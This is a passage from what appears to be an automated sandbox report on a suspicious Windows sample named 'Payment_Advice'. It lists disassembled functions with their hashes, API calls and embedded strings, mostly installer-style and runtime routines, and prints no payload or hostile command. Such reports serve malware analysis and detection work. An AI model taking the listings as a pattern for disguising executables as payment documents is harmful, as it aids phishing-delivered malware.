Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3e033f5a90b6653f2820811019e1f3a5f035301b3a61585745d11b019002b2e
Instruction ID: 527e79486eaa20a699bacdb41086c3db33c528b21b67beed496654ddb2c02abb
Opcode Fuzzy Hash: c3e033f5a90b6653f2820811019e1f3a5f035301b3a61585745d11b019002b2e
Instruction Fuzzy Hash: 2E9126B12003469BEB24EA64D899BFE7FD5FB91300F100D2DE5A6872C2EA7495C5CB52

Uniqueness

Uniqueness Score: -1.00%

Function 005143BF Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
Instruction ID: 26d1ad14d68e5218b69f0b37636a6f5647343253c67bef2ed476dcf8eb4ed572
Opcode Fuzzy Hash: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
Instruction Fuzzy Hash: D28128713043464BFF24DE68C895BFD7F95BBD1308F045D2DE9868B282DAA489C68B52

Uniqueness

Uniqueness Score: -1.00%

Function 005251C9 Relevance: .2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d21462af2fb79a1e7d84c93a09bbbcffa25119219e39f00fea21295955b14e96
Instruction ID: 18e3ff91e3803a9623c404ee0334cd57c5c0727b03ba86c21ecd9df6adbae1b6
Opcode Fuzzy Hash: d21462af2fb79a1e7d84c93a09bbbcffa25119219e39f00fea21295955b14e96
Instruction Fuzzy Hash: F0617539600F39A6CF389A6878997BE2B94FF63350F541D19E442DB2C1F2B1DD428651

Uniqueness

Uniqueness Score: -1.00%

Function 00524F9A Relevance: .2, Instructions: 214COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5deea3b29f66a918188f7a75532971316276c2599c24e1ebb0fa75850081f94e
Instruction ID: 5217ff14c2130534e2a22ab1495831f2106183465b0bf0a1f63b8c177d5e49da
Opcode Fuzzy Hash: 5deea3b29f66a918188f7a75532971316276c2599c24e1ebb0fa75850081f94e
Instruction Fuzzy Hash: E6512461200E7556DF385628BA5EBBE2F85BF83300F184819E983CB2C2F635ED45C696

Uniqueness

Uniqueness Score: -1.00%

Function 0050EFE2 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7034bb8cbdb427f505e738eb21928d64d6686fac1a60660fdd38e2aaf1611f5a
Instruction ID: c871431f53792741444f640cc3555f6c08dfc6aed5993e317a0a00f8146d082f
Opcode Fuzzy Hash: 7034bb8cbdb427f505e738eb21928d64d6686fac1a60660fdd38e2aaf1611f5a
Instruction Fuzzy Hash: 4951D4315083D58EC721CF25C5984AEBFE0BFDA314F4909ADE4D95B683C231DA4ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 005100B7 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18c5b8a0116227a962686d03b9001e832b0f9c4c93c63f6d81b26a0e562a2cf3
Instruction ID: 89a7e480c4a59fe023087e9647129b96f13687fee7d3c302d02e1f713bfe2c4b
Opcode Fuzzy Hash: 18c5b8a0116227a962686d03b9001e832b0f9c4c93c63f6d81b26a0e562a2cf3
Instruction Fuzzy Hash: AB51D0B1A087159FC748CF19D48055AFBE1FF88314F058A2EE899E3341D734E999CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00513E0B Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction ID: adc6f18ed3d01e48818b15b02221a23bcaf7f71a220e2d8bbceafaf11463e380
Opcode Fuzzy Hash: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction Fuzzy Hash: D831E4B1A147468FDB14DF28C8652AEBFE0FB95304F148A2DE485D7341C738EA4ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 0051C73F Relevance: 51.2, APIs: 24, Strings: 5, Instructions: 428windowCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0051C744

Part of subcall function 0051B314: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0051B3FB

Part of subcall function 0051AF98: _wcschr.LIBVCRUNTIME ref: 0051B033

_wcslen.LIBCMT ref: 0051CA0A
_wcslen.LIBCMT ref: 0051CA13
SetWindowTextW.USER32(?,?), ref: 0051CA71
_wcslen.LIBCMT ref: 0051CAB3
_wcsrchr.LIBVCRUNTIME ref: 0051CBFB
GetDlgItem.USER32(?,00000066), ref: 0051CC36
SetWindowTextW.USER32(00000000,?), ref: 0051CC46
SendMessageW.USER32(00000000,00000143,00000000,0054A472), ref: 0051CC54
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0051CC7F

Strings

%s.%d.tmp, xrefs: 0051C940
<br>, xrefs: 0051C9D4
ProgramFilesDir, xrefs: 0051CB45
Q, xrefs: 0051CB24
Software\Microsoft\Windows\CurrentVersion, xrefs: 0051CB1A

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcschr_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$Q
API String ID: 986293930-1471198225
Opcode ID: 7d7da006f23f6ad63a0f71a73cd4bae9367a202454eb21618627dab6dd0214ef
Instruction ID: c91a847727c51c4faec925e353a73fd8bfc2bea57a4023e4414b1fb6bd33989f
Opcode Fuzzy Hash: 7d7da006f23f6ad63a0f71a73cd4bae9367a202454eb21618627dab6dd0214ef
Instruction Fuzzy Hash: 26E15472940219AAEF25DBA4DD89DEE7BBCBF45310F4044A5F645E7080EB749EC88B60

Uniqueness

Uniqueness Score: -1.00%

Function 0050E2E8 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0050E30E

Part of subcall function 00504092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 005040A5

Part of subcall function 00511DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,00541030,?,0050D928,00000000,?,00000050,00541030), ref: 00511DC4

_strlen.LIBCMT ref: 0050E32F
SetDlgItemTextW.USER32(?,0053E274,?), ref: 0050E38F
GetWindowRect.USER32(?,?), ref: 0050E3C9
GetClientRect.USER32(?,?), ref: 0050E3D5
GetWindowLongW.USER32(?,000000F0), ref: 0050E475
GetWindowRect.USER32(?,?), ref: 0050E4A2
SetWindowTextW.USER32(?,?), ref: 0050E4DB
GetSystemMetrics.USER32(00000008), ref: 0050E4E3
GetWindow.USER32(?,00000005), ref: 0050E4EE
GetWindowRect.USER32(00000000,?), ref: 0050E51B
GetWindow.USER32(00000000,00000002), ref: 0050E58D

Strings

CAPTION, xrefs: 0050E4BD
d, xrefs: 0050E3F5
tS, xrefs: 0050E34A
$%s:, xrefs: 0050E302

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d$tS
API String ID: 2407758923-1013587617
Opcode ID: 394505c7150ba2e35dfaa27da79ee56f25eda703f5abec3f4c5dd8b38849bbc0
Instruction ID: a94cb400238003dd6e63ad75c06c1c829b811f51092e9220e8f9b5e0638607fd
Opcode Fuzzy Hash: 394505c7150ba2e35dfaa27da79ee56f25eda703f5abec3f4c5dd8b38849bbc0
Instruction Fuzzy Hash: A0819071608341AFD710DFA8CD89A6FBBE9FBC9704F04091DFA8497291D670E909CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0052CB22 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0052CB66

Part of subcall function 0052C701: _free.LIBCMT ref: 0052C71E
Part of subcall function 0052C701: _free.LIBCMT ref: 0052C730
Part of subcall function 0052C701: _free.LIBCMT ref: 0052C742
Part of subcall function 0052C701: _free.LIBCMT ref: 0052C754
Part of subcall function 0052C701: _free.LIBCMT ref: 0052C766
Part of subcall function 0052C701: _free.LIBCMT ref: 0052C778
Part of subcall function 0052C701: _free.LIBCMT ref: 0052C78A
Part of subcall function 0052C701: _free.LIBCMT ref: 0052C79C
Part of subcall function 0052C701: _free.LIBCMT ref: 0052C7AE
Part of subcall function 0052C701: _free.LIBCMT ref: 0052C7C0
Part of subcall function 0052C701: _free.LIBCMT ref: 0052C7D2
Part of subcall function 0052C701: _free.LIBCMT ref: 0052C7E4
Part of subcall function 0052C701: _free.LIBCMT ref: 0052C7F6

_free.LIBCMT ref: 0052CB5B

Part of subcall function 00528DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0052C896,?,00000000,?,00000000,?,0052C8BD,?,00000007,?,?,0052CCBA,?), ref: 00528DE2
Part of subcall function 00528DCC: GetLastError.KERNEL32(?,?,0052C896,?,00000000,?,00000000,?,0052C8BD,?,00000007,?,?,0052CCBA,?,?), ref: 00528DF4

_free.LIBCMT ref: 0052CB7D
_free.LIBCMT ref: 0052CB92
_free.LIBCMT ref: 0052CB9D
_free.LIBCMT ref: 0052CBBF
_free.LIBCMT ref: 0052CBD2
_free.LIBCMT ref: 0052CBE0
_free.LIBCMT ref: 0052CBEB
_free.LIBCMT ref: 0052CC23
_free.LIBCMT ref: 0052CC2A
_free.LIBCMT ref: 0052CC47
_free.LIBCMT ref: 0052CC5F

Strings

hS, xrefs: 0052CC0E

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: hS
API String ID: 161543041-2356671337
Opcode ID: 2498362b9781d22f364279affc93e93bc76db478f0dc5e50037bc8b70f1460ee
Instruction ID: b1328f6afb50fe89df482e2e55d8488842b458049c498bb909859f2a775b4d12
Opcode Fuzzy Hash: 2498362b9781d22f364279affc93e93bc76db478f0dc5e50037bc8b70f1460ee
Instruction Fuzzy Hash: C7314F326012269FEB20AA79F84AB6A7FE9FF52310F544819E558D71E2DF31AC44CB10

Uniqueness

Uniqueness Score: -1.00%

Function 005296F1 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00529705

Part of subcall function 00528DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0052C896,?,00000000,?,00000000,?,0052C8BD,?,00000007,?,?,0052CCBA,?), ref: 00528DE2
Part of subcall function 00528DCC: GetLastError.KERNEL32(?,?,0052C896,?,00000000,?,00000000,?,0052C8BD,?,00000007,?,?,0052CCBA,?,?), ref: 00528DF4

_free.LIBCMT ref: 00529711
_free.LIBCMT ref: 0052971C
_free.LIBCMT ref: 00529727
_free.LIBCMT ref: 00529732
_free.LIBCMT ref: 0052973D
_free.LIBCMT ref: 00529748
_free.LIBCMT ref: 00529753
_free.LIBCMT ref: 0052975E
_free.LIBCMT ref: 0052976C

Strings

0dS, xrefs: 005296FC

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: 0dS
API String ID: 776569668-685347439
Opcode ID: 12c6efec3fc8e957b0b3dc606272bba1c5fdcb4103f45e0eb90245c26afdb888
Instruction ID: 4bfe408bd3511010ce5448b0d72ac72fa05f77a32bbeda54cfd42a169f68dd9a
Opcode Fuzzy Hash: 12c6efec3fc8e957b0b3dc606272bba1c5fdcb4103f45e0eb90245c26afdb888
Instruction Fuzzy Hash: 0E11C67611101AAFDB01EF94E846CE93FB5FF55350B1158A0FA084F2B2DE31DA549B84

Uniqueness

Uniqueness Score: -1.00%

Function 00519711 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00519736
_wcslen.LIBCMT ref: 005197D6
GlobalAlloc.KERNEL32(00000040,?), ref: 005197E5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00519806

Strings

</html>, xrefs: 005197B7
FvnQ, xrefs: 0051982D
<html>, xrefs: 00519755, 0051978E
utf-8"></head>, xrefs: 0051976B
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00519760

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _wcslen$AllocByteCharGlobalMultiWide
String ID: FvnQ$</html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1116704506-1813482186
Opcode ID: 810591c16aa82ed61d28d4a53100d37858c499085afb111e2a3ae800f094b4eb
Instruction ID: 33a59ec5f95066f28d2f1ebac3f78461b08658d34a1626799a0ffdd799fd13ef
Opcode Fuzzy Hash: 810591c16aa82ed61d28d4a53100d37858c499085afb111e2a3ae800f094b4eb
Instruction Fuzzy Hash: B73127325083127AF725AF24AC1AFAB7F9CFF93710F14011DF501961D2EB64AA4983A6

Uniqueness

Uniqueness Score: -1.00%

Function 0051D69E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 0051D6C1
GetClassNameW.USER32(00000000,?,00000800), ref: 0051D6ED

Part of subcall function 00511FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,0050C116,00000000,.exe,?,?,00000800,?,?,?,00518E3C), ref: 00511FD1

GetWindowLongW.USER32(00000000,000000F0), ref: 0051D709
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 0051D720
GetObjectW.GDI32(00000000,00000018,?), ref: 0051D734
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0051D75D
DeleteObject.GDI32(00000000), ref: 0051D764
GetWindow.USER32(00000000,00000002), ref: 0051D76D

Strings

STATIC, xrefs: 0051D6F3

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: eb54b3bf232e7672aba2038cc5859adb67834334cfb409c0cfc286172c8eb124
Instruction ID: 03a05a4c2e7a81de9ac2a29e7995651125d183a5e0405c9536e387f85681c4f7
Opcode Fuzzy Hash: eb54b3bf232e7672aba2038cc5859adb67834334cfb409c0cfc286172c8eb124
Instruction Fuzzy Hash: 5511D2729013117BF7216B749C4EFEF7E6CFB94721F004110FA41A21D2DAA48A8996B5

Uniqueness

Uniqueness Score: -1.00%

Function 00522E31 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00522F50
___TypeMatch.LIBVCRUNTIME ref: 0052305E
_UnwindNestedFrames.LIBCMT ref: 005231B0
CallUnexpected.LIBVCRUNTIME ref: 005231CB
_abort.LIBCMT ref: 005231D0

Strings

csm, xrefs: 00522F87
csm, xrefs: 00522E6E
csm, xrefs: 00522EDB

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: bfac7d3df54529a00459b74cd9e40856c97aa6488959284207edabbaddb2b4e4
Instruction ID: 552d87d5739cb6b9b79348c4ed729abc68a9d6bdbed79f3b4f300a2827629a84
Opcode Fuzzy Hash: bfac7d3df54529a00459b74cd9e40856c97aa6488959284207edabbaddb2b4e4
Instruction Fuzzy Hash: 81B1AD3580022AEFCF25DFA4E9859AEBFB5FF46310F144059F8016B292C739DA61CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00506FA5 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 134COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00506FAA
_wcslen.LIBCMT ref: 00507013
_wcslen.LIBCMT ref: 00507084

Part of subcall function 00507A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00507AAB
Part of subcall function 00507A9C: GetLastError.KERNEL32 ref: 00507AF1
Part of subcall function 00507A9C: CloseHandle.KERNEL32(?), ref: 00507B00

Strings

\??\, xrefs: 0050702B
SeRestorePrivilege, xrefs: 00506FC2
SeCreateSymbolicLinkPrivilege, xrefs: 00506FCC
UNC\, xrefs: 00507051

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _wcslen$CloseCurrentErrorH_prologHandleLastProcess
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3122303884-3508440684
Opcode ID: a65aaf77ccf533e90e5bc257c60612268dba4b99426f81ddf56e995a6ca6c8b1
Instruction ID: e07e088deb434e741a1d33e238245b69ee20a415185b46842b896553ae35706b
Opcode Fuzzy Hash: a65aaf77ccf533e90e5bc257c60612268dba4b99426f81ddf56e995a6ca6c8b1
Instruction Fuzzy Hash: D241E9B1D0874A6AEB20E7709D4AFEE7F6CBF49304F004455F945A61C2D674BA88C761

Uniqueness

Uniqueness Score: -1.00%

Function 0051B5C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00501316: GetDlgItem.USER32(00000000,00003021), ref: 0050135A
Part of subcall function 00501316: SetWindowTextW.USER32(00000000,005335F4), ref: 00501370

EndDialog.USER32(?,00000001), ref: 0051B610
SendMessageW.USER32(?,00000080,00000001,?), ref: 0051B637
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 0051B650
SetWindowTextW.USER32(?,?), ref: 0051B661
GetDlgItem.USER32(?,00000065), ref: 0051B66A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 0051B67E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0051B694

Strings

